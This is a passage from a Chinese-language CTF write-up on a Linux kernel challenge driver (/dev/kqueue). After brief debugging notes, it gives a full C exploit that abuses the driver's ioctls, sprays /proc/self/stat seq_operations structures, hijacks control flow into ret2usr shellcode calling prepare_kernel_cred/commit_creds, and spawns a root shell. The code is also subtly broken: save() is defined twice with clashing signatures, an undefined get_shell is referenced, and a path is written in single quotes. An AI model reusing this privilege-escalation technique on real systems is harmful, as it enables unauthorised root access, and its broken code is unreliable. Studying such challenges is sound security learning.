.text:000000000000035A pop     rbx
.text:000000000000035B pop     rbp
.text:000000000000035C pop     r12
.text:000000000000035E pop     r13
.text:0000000000000360 pop     r14
.text:0000000000000362 pop     r15
.text:0000000000000364 retn

我们打断点到(0xffffffffc0000000+0x343)的位置可以确定,这个题的全局变量的地址是下面这个

也就是0xffffffffc0002548这个位置上存储的是我们全局变量的地址,可以看到这个全局变量存储的地址的

效果的是给我打印出来这个

shellcode addr = 0x4013fd

我们可以执行到shellcode,说明我们的判断是没有问题的

内联上下面这个汇编指令就行

__asm__("add rsp,8");

我们提权的时候可以用这个,打印身份信息,这个挺不错的

void getRootShell(void)
{   
    puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

    if(getuid())
    {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
    __asm__("add rsp,8");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

之后我们就可以顺利的利用这个结构体进行提权了

这里不得不说保护关了是真的好做,内核基址不用泄露都能去做,很舒服。

最终exp如下

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/xattr.h>
#include <sched.h>
#include <sys/prctl.h>
#include <ctype.h>

#define u8 unsigned char
#define s8 char
#define u16 unsigned short
#define s16 short
#define u32 unsigned int
#define s32 int
#define u64 unsigned long
#define s64 long

#define PAGE_SIZE 4096

#define info1(color, msg) info_impl(color, msg, 0, 0)
#define info2(color, msg, val) info_impl(color, msg, 1, (size_t)(val))
//但 C 语言 不支持函数重载(不能有两个同名函数参数不同),所以要用 宏技巧 模拟。
#define info(...) _GET_INFO_MACRO(__VA_ARGS__, info2, info1)(__VA_ARGS__)
//这在 C 语言中是一种常见的“模拟函数重载”的技巧。虽然看起来有点绕,但它是标准且有效的写法。
#define _GET_INFO_MACRO(_1,_2,_3,NAME,...) NAME
//怎么做到的?靠 _GET_INFO_MACRO 的参数匹配技巧。

typedef enum { BLUE, RED, YELLOW, PINK, WHITE,GREEN,RESET } color_t;

static const char* color_code(color_t c) {
    switch(c) {
        case BLUE:   return "\033[34m";
        case RED:    return "\033[31m";
        case YELLOW: return "\033[33m";
        case PINK:   return "\033[35m";
        case WHITE:  return "\033[37m";
        case GREEN:  return "\x1b[32m";
        case RESET:  return "\x1b[0m";
        default:     return "\033[0m";
    }
}

static inline void info_impl(color_t c, const char *msg, int has_val, size_t val) {
    if (has_val) {
        printf("\033[1m%s[+] %s ===> \033[0m0x%lx\n", color_code(c), msg, val);
    } else {
        printf("\033[1m%s[*] %s\033[0m\n", color_code(c), msg);
    }
}
//如果 has_val == 1:打印带 ===> 0x... 的格式(用于地址、数值)
void errExit(char *msg){printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);exit(EXIT_FAILURE);}
//这个退出的时候是红色字体也是写好了
void bind_cpu(int core)
{
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

size_t user_cs,user_ss,user_rflags,user_sp;
void save(){
    __asm__(
        "mov user_cs,cs;"
        "mov user_ss,ss;"
        "mov user_sp,rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[*] saved");
}//保存寄存器指令

void getRootShell(void)
{   
    puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

    if(getuid())
    {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
    __asm__("add rsp,8");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}


typedef struct{
    u32 max_entries;
    u16 data_size;
    u16 entry_idx;
    u16 queue_idx;
    char* data;
}request_t;

u64 dev_fd;
u64 rip;

void create(u32 max_entries,u16 data_size)
{
    request_t req = 
    {
        .max_entries = max_entries,
        .data_size   = data_size,
    };
    ioctl(dev_fd,0xDEADC0DE,&req);
}

void edit(u16 queue_idx,u16 entry_idx,s8 *data)
{
    request_t req = 
    {
        .queue_idx = queue_idx,
        .entry_idx = entry_idx,
        .data      = data,
    };
    ioctl(dev_fd,0xDAADEEEE,&req);
}

void delete(u16 queue_idx)
{
    request_t req = 
    {
        .queue_idx = queue_idx,
    };
    ioctl(dev_fd,0xBADDCAFE,&req);
}


void save(u16 queue_idx,u32 max_entries,u16 data_size)
{
    request_t req =
    {
        .queue_idx = queue_idx,
        .max_entries = max_entries,
        .data_size = data_size,
    };
    ioctl(dev_fd,0xB105BABE,&req);
}

void shellcode(void)
{
    __asm__(
        "mov r12,[rsp + 0x8];"
        "sub r12,0x201179;"
        "mov r13,r12;"
        "add r12,0x8c580;"
        "add r13,0x8c140;"
        "xor rdi,rdi;"
        "call r12;"
        "mov rdi,rax;"
        "call r13;"
        "swapgs;"
        "mov r14,user_ss;"
        "push r14;"
        "mov r14,user_sp;"
        "push r14;"
        "mov r14,user_rflags;"
        "push r14;"
        "mov r14,user_cs;"
        "push r14;"
        "mov r14,rip;"
        "push r14;"
        "iretq;"
    );
}

int main()
{
    u64 seq_fd[0x200];
    u64 *page;
    u64 data[0x20];
    save();
    rip = (u64)get_shell;
    dev_fd = open("/dev/kqueue",O_RDONLY);
    if(dev_fd < 0)
        errExit("fail to open the dev");
    for(int i = 0;i < 0x20;i++)
    {
        data[i] = (u64)shellcode;
    }
    create(0xffffffff,0x20*8);
    edit(0,0,data);
    for(int i = 0;i < 0x200;i++){
        seq_fd[i] = open('/proc/self/stat',O_RDONLY);
    }
    save(0,0,0x40);
    for(int i = 0; i < 0x200;i++)
    {
        read(seq_fd[i],data,1);
    }

}